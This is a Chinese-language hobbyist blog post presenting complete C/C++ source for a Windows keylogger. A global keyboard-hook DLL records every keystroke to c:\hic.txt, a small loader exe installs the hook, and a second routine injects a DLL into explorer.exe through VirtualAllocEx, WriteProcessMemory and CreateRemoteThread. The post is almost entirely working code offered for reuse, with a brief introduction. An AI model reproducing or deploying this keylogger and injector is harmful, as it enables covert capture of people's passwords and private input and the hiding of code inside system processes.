这里把很早前的一些文章陆续汇总下,以后研究方向会专注,本来就是菜鸟,总这一竿子那一竿子,最后一场空,以后主要是嵌入式,PC要放一放了.....
预备知识:键盘记录功能需要用到全局键盘钩子(有局部钩子和全局钩子之分),而全局键盘钩子需要一个单独的dll文件,因为这个dll文件会被注入到任意获得键盘消息的进程中(个别系统进程无法注入),向操作系统注册钩子后,再在回调函数中处理对应的键盘事件就OK....
另外,虽然dll也属可执行文件,但它需要带头大哥的指引才能启动(exe文件),因此,还需要一个起动机,也就是一个exe文件来帮助启动...(DEV-CPP编译通过)先看一下效果:
这里贴两段程序,第一段是全局键盘钩子例程,第二段是一个比较完整的注入例程
1、全局键盘钩子例程:
dll.h :
#ifndef _DLL_H_ #define _DLL_H_ #if BUILDING_DLL # define DLLIMPORT __declspec (dllexport) #else /* Not BUILDING_DLL */ # define DLLIMPORT __declspec (dllimport) #endif /* Not BUILDING_DLL */ #includeDLLIMPORT void HelloWorld (void); LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam); BOOL __declspec(dllexport) installhook(); BOOL __declspec(dllexport) UnHook(); #endif /* _DLL_H_ */
dll.cpp :
#include "dll.h" #include#include #include #pragma data_seg(".SHARDAT") //共享段 static HHOOK hkb = NULL; //HWND hLastWnd = NULL; FILE *fp = NULL; #pragma data_seg() #pragma comment (linker,"/SECTION:.SHARDAT,RWS") HINSTANCE hinst = NULL; DLLIMPORT void HelloWorld () { MessageBox (0, "Hello World from DLL!\n", "Hi", MB_ICONINFORMATION); } // DLL入口 BOOL APIENTRY DllMain (HINSTANCE hInst /* Library instance handle. */ , DWORD reason /* Reason this function is being called. */ , LPVOID reserved /* Not used. */ ) { switch (reason) { case DLL_PROCESS_ATTACH: hinst = hInst; break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } /* Returns TRUE on success, FALSE on failure */ return TRUE; } LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) //回调函数,自己DIY吧... { /* if(((DWORD)lParam&0x40000000) && (HC_ACTION==nCode)) { switch(wParam) { case VK_F1: MessageBox(NULL,"F1","F1",MB_OK); break; case 'A': MessageBox(NULL,"A","A",MB_OK); } } */ /* HWND hWnd = GetActiveWindow(); if (hWnd != hLastWnd) { char szTemp[256] = {0}; GetWindowText(hWnd,szTemp,sizeof(szTemp)); fprintf(fp,"\r\n--- [%s] ---\r\n",szTemp); hLastWnd = hWnd; } BYTE szKeyState[256] = {0}; GetKeyboardState(szKeyState); int nScan = lParam >> 16; WORD szKey = 0; int len = ToAscii(wParam,nScan,szKeyState,&szKey,0); if (len > 0) { //fprintf(fp,"[%c]",char(szKey)); } */ char ch; if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode)) //捕获按键按下 { if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) { fp=fopen("c:\\hic.txt","a+"); if (wParam==VK_RETURN) { ch='\n'; fwrite(&ch,1,1,fp); } else { BYTE ks[256]; GetKeyboardState(ks); WORD w; UINT scan; scan=0; ToAscii(wParam,scan,ks,&w,0); ch = (char)(w); fwrite(&ch,1,1,fp); } fclose(fp); } } LRESULT RetVal = CallNextHookEx( hkb, nCode, wParam, lParam ); return RetVal; } BOOL __declspec(dllexport)__stdcall installhook() { fp=fopen("c:\\hic.txt","w"); fclose(fp); hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hinst,0); //键盘钩子 return TRUE; } BOOL __declspec(dllexport) UnHook() { BOOL unhooked = UnhookWindowsHookEx(hkb); return unhooked; }
至于exe启动机的代码要简单多了:
#include "dll.h" #include#include using namespace std; typedef bool (*Fun)(); HMODULE g_hHook = 0; Fun setHook = NULL; int main(int argc, char *argv[]) { //InstallHook(); g_hHook = LoadLibrary("Inject.dll"); setHook = (Fun)GetProcAddress(g_hHook,"installhook"); setHook(); system("pause"); return 0; }
.
2、完整进程注入例程:
#include#include #include #include #define INJECT_PROCESS_NAME "explorer.exe" //"iexplore.exe" // 根据进程名获取进程PID值 long GetProcessID(char *pProcessName) { /* 定义变量 */ BOOL bRet; HANDLE hProcessSnap; unsigned long ProcessID = -1; PROCESSENTRY32 pe; pe.dwSize = sizeof(pe); // 所有进程快照 hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot failed. error:%d.\n", GetLastError()); return -1; } // 遍历进程快照,轮流显示每个进程的信息 bRet = Process32First(hProcessSnap, &pe); while(bRet) { // pe.szExeFile保存的值为进程对应的可执行文件名 if(strcmp(pe.szExeFile, pProcessName) == 0) { ProcessID = pe.th32ProcessID; break; } bRet = Process32Next(hProcessSnap, &pe); } // 清除掉进程快照对象 CloseHandle(hProcessSnap); return ProcessID; } BOOL InjectDLL() { long pid = 0; int ret = 0; char szDllPath[MAX_PATH] = { 0}; // 获取DLL全路径,这里为/windows/system32/InjectDLL.dll // 同时判断有无访问权限 ret = GetSystemDirectory(szDllPath, MAX_PATH); if(szDllPath[ret - 1] != '\\') strcat(szDllPath, "\\"); strcat(szDllPath, "InjectDLL.dll"); if(_access(szDllPath, 0) == -1) { printf("Access %s Failed.\n", szDllPath); return -1; } printf("Inject DLL' Path: %s .\n", szDllPath); // 获取要注入进程的PID pid = GetProcessID(INJECT_PROCESS_NAME); if(pid == -1) { printf("Get Inject ProcessID Failed.\n"); return FALSE; } printf("Inject PID:[%d] .\n", pid); HANDLE hProcess = NULL; HANDLE hRemoteThread = NULL; void *pLibRemote = NULL; DWORD hLibModule = 0; HMODULE hKernel32 = NULL; hKernel32 = GetModuleHandle("Kernel32"); if(hKernel32 == NULL) { printf("Get Kernel32 Handle Failed.\n"); return FALSE; } hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid); if(hProcess == NULL) { printf("Open Inject Process Failed.\n"); return FALSE; } // 1. Allocate memory in the remote process for szDllPath // 2. Write szDllPath to the allocated memory pLibRemote = VirtualAllocEx(hProcess, NULL, sizeof(szDllPath), MEM_COMMIT, PAGE_READWRITE); ret = WriteProcessMemory(hProcess, pLibRemote, (void *) szDllPath, sizeof(szDllPath), NULL); if(ret == 0) { printf("Write Remote Process Memory Failed.\n"); return FALSE; } // Load "LibSpy.dll" into the remote process // (via CreateRemoteThread & LoadLibrary) hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) GetProcAddress(hKernel32, "LoadLibraryA"), pLibRemote, 0, NULL); WaitForSingleObject(hRemoteThread, INFINITE); // Get handle of the loaded module GetExitCodeThread(hRemoteThread, &hLibModule); // Clean up CloseHandle(hRemoteThread); VirtualFreeEx(hProcess, pLibRemote, sizeof(szDllPath), MEM_RELEASE); // 关闭远程进程句柄 CloseHandle(hProcess); printf("Inject Finished.\n"); return TRUE; } int main(int argc, char *argv[]) { InjectDLL(); system("pause"); return 0; }